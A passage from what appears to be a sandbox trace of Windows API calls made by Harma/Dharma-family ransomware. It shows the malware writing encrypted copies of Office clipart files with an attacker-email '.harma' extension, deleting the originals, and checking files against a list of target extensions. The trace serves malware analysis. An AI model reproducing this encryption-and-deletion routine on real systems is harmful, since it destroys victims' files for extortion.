dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.622] GetLastError () returned 0x0 [0166.622] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x7f68, lpOverlapped=0x0) returned 1 [0166.662] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x7f70, lpOverlapped=0x0) returned 1 [0166.664] ReadFile (in: hFile=0x39c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.664] WriteFile (in: hFile=0x3a4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.664] SetEndOfFile (hFile=0x3a4) returned 1 [0166.664] CloseHandle (hObject=0x3a4) returned 1 [0166.665] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.665] SetEndOfFile (hFile=0x39c) returned 1 [0166.667] CloseHandle (hObject=0x39c) returned 1 [0166.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 1 [0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.701] lstrlenW (lpString=".doc") returned 4 [0166.701] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.701] lstrlenW (lpString=".docx") returned 5 [0166.701] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0166.701] lstrlenW (lpString=".pdf") returned 4 [0166.701] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.701] lstrlenW (lpString=".xls") returned 4 [0166.701] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.701] lstrlenW (lpString=".xlsx") returned 5 [0166.702] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0166.702] lstrlenW (lpString=".ppt") returned 4 [0166.702] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.702] lstrlenW (lpString=".zip") returned 4 [0166.702] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString=".rar") returned 4 [0166.702] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString=".bz2") returned 4 [0166.702] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString=".7z") returned 3 [0166.702] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.702] lstrlenW (lpString=".dbf") returned 4 [0166.702] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.702] lstrlenW (lpString=".1cd") returned 4 [0166.702] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.702] lstrlenW (lpString=".jpg") returned 4 [0166.702] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.702] lstrlenW (lpString=".doc") returned 4 [0166.702] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.702] lstrlenW (lpString=".docx") returned 5 [0166.702] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0166.702] lstrlenW (lpString=".pdf") returned 4 [0166.702] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString=".xls") returned 4 [0166.703] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString=".xlsx") returned 5 [0166.703] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0166.703] lstrlenW (lpString=".ppt") returned 4 [0166.703] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.703] lstrlenW (lpString=".zip") returned 4 [0166.703] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString=".rar") returned 4 [0166.703] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString=".bz2") returned 4 [0166.703] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString=".7z") returned 3 [0166.703] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.703] lstrlenW (lpString=".dbf") returned 4 [0166.703] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.703] lstrlenW (lpString=".1cd") returned 4 [0166.703] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned 63 [0166.703] lstrlenW (lpString=".jpg") returned 4 [0166.703] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.703] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.703] lstrlenW (lpString="J0103058.WMF") returned 12 [0166.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.704] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=17344) returned 1 [0166.704] CloseHandle (hObject=0x3a4) returned 1 [0166.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 0x20 [0166.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.705] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.705] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.706] GetLastError () returned 0x0 [0166.706] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x43c0, lpOverlapped=0x0) returned 1 [0166.726] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x43d0, lpOverlapped=0x0) returned 1 [0166.727] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.727] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.727] SetEndOfFile (hFile=0x208) returned 1 [0166.727] CloseHandle (hObject=0x208) returned 1 [0166.727] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.727] SetEndOfFile (hFile=0x3a4) returned 1 [0166.731] CloseHandle (hObject=0x3a4) returned 1 [0166.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf")) returned 1 [0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.742] lstrlenW (lpString=".doc") returned 4 [0166.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.742] lstrlenW (lpString=".docx") returned 5 [0166.742] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.742] lstrlenW (lpString=".pdf") returned 4 [0166.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.742] lstrlenW (lpString=".xls") returned 4 [0166.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.742] lstrlenW (lpString=".xlsx") returned 5 [0166.742] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.742] lstrlenW (lpString=".ppt") returned 4 [0166.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.742] lstrlenW (lpString=".zip") returned 4 [0166.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.742] lstrlenW (lpString=".rar") returned 4 [0166.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString=".bz2") returned 4 [0166.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString=".7z") returned 3 [0166.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.743] lstrlenW (lpString=".dbf") returned 4 [0166.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.743] lstrlenW (lpString=".1cd") returned 4 [0166.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.743] lstrlenW (lpString=".jpg") returned 4 [0166.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.743] lstrlenW (lpString=".doc") returned 4 [0166.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString=".docx") returned 5 [0166.743] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.743] lstrlenW (lpString=".pdf") returned 4 [0166.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.743] lstrlenW (lpString=".xls") returned 4 [0166.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.743] lstrlenW (lpString=".xlsx") returned 5 [0166.743] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.743] lstrlenW (lpString=".ppt") returned 4 [0166.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.744] lstrlenW (lpString=".zip") returned 4 [0166.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.744] lstrlenW (lpString=".rar") returned 4 [0166.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.744] lstrlenW (lpString=".bz2") returned 4 [0166.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.744] lstrlenW (lpString=".7z") returned 3 [0166.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.744] lstrlenW (lpString=".dbf") returned 4 [0166.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.744] lstrlenW (lpString=".1cd") returned 4 [0166.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF") returned 63 [0166.744] lstrlenW (lpString=".jpg") returned 4 [0166.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.744] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.744] lstrlenW (lpString="J0103812.WMF") returned 12 [0166.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.758] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=5908) returned 1 [0166.758] CloseHandle (hObject=0x3a4) returned 1 [0166.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0166.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.761] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.761] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.762] GetLastError () returned 0x0 [0166.762] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x1714, lpOverlapped=0x0) returned 1 [0166.763] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x1720, lpOverlapped=0x0) returned 1 [0166.764] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.764] WriteFile (in: hFile=0x208, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.765] SetEndOfFile (hFile=0x208) returned 1 [0166.765] CloseHandle (hObject=0x208) returned 1 [0166.765] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.765] SetEndOfFile (hFile=0x3a4) returned 1 [0166.767] CloseHandle (hObject=0x3a4) returned 1 [0166.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.769] lstrlenW (lpString=".doc") returned 4 [0166.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.769] lstrlenW (lpString=".docx") returned 5 [0166.769] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.769] lstrlenW (lpString=".pdf") returned 4 [0166.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.769] lstrlenW (lpString=".xls") returned 4 [0166.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.769] lstrlenW (lpString=".xlsx") returned 5 [0166.769] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.769] lstrlenW (lpString=".ppt") returned 4 [0166.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.769] lstrlenW (lpString=".zip") returned 4 [0166.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.769] lstrlenW (lpString=".rar") returned 4 [0166.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.769] lstrlenW (lpString=".bz2") returned 4 [0166.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.769] lstrlenW (lpString=".7z") returned 3 [0166.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.769] lstrlenW (lpString=".dbf") returned 4 [0166.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.770] lstrlenW (lpString=".1cd") returned 4 [0166.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.770] lstrlenW (lpString=".jpg") returned 4 [0166.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.770] lstrlenW (lpString=".doc") returned 4 [0166.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString=".docx") returned 5 [0166.770] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.770] lstrlenW (lpString=".pdf") returned 4 [0166.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString=".xls") returned 4 [0166.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.770] lstrlenW (lpString=".xlsx") returned 5 [0166.770] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.770] lstrlenW (lpString=".ppt") returned 4 [0166.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.770] lstrlenW (lpString=".zip") returned 4 [0166.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.770] lstrlenW (lpString=".rar") returned 4 [0166.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString=".bz2") returned 4 [0166.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.770] lstrlenW (lpString=".7z") returned 3 [0166.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.771] lstrlenW (lpString=".dbf") returned 4 [0166.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.771] lstrlenW (lpString=".1cd") returned 4 [0166.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0166.771] lstrlenW (lpString=".jpg") returned 4 [0166.771] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.771] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.771] lstrlenW (lpString="J0103850.WMF") returned 12 [0166.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.772] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=23596) returned 1 [0166.772] CloseHandle (hObject=0x3a4) returned 1 [0166.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0166.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.772] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.772] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.773] GetLastError () returned 0x0 [0166.773] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5c2c, lpOverlapped=0x0) returned 1 [0166.775] WriteFile (in: 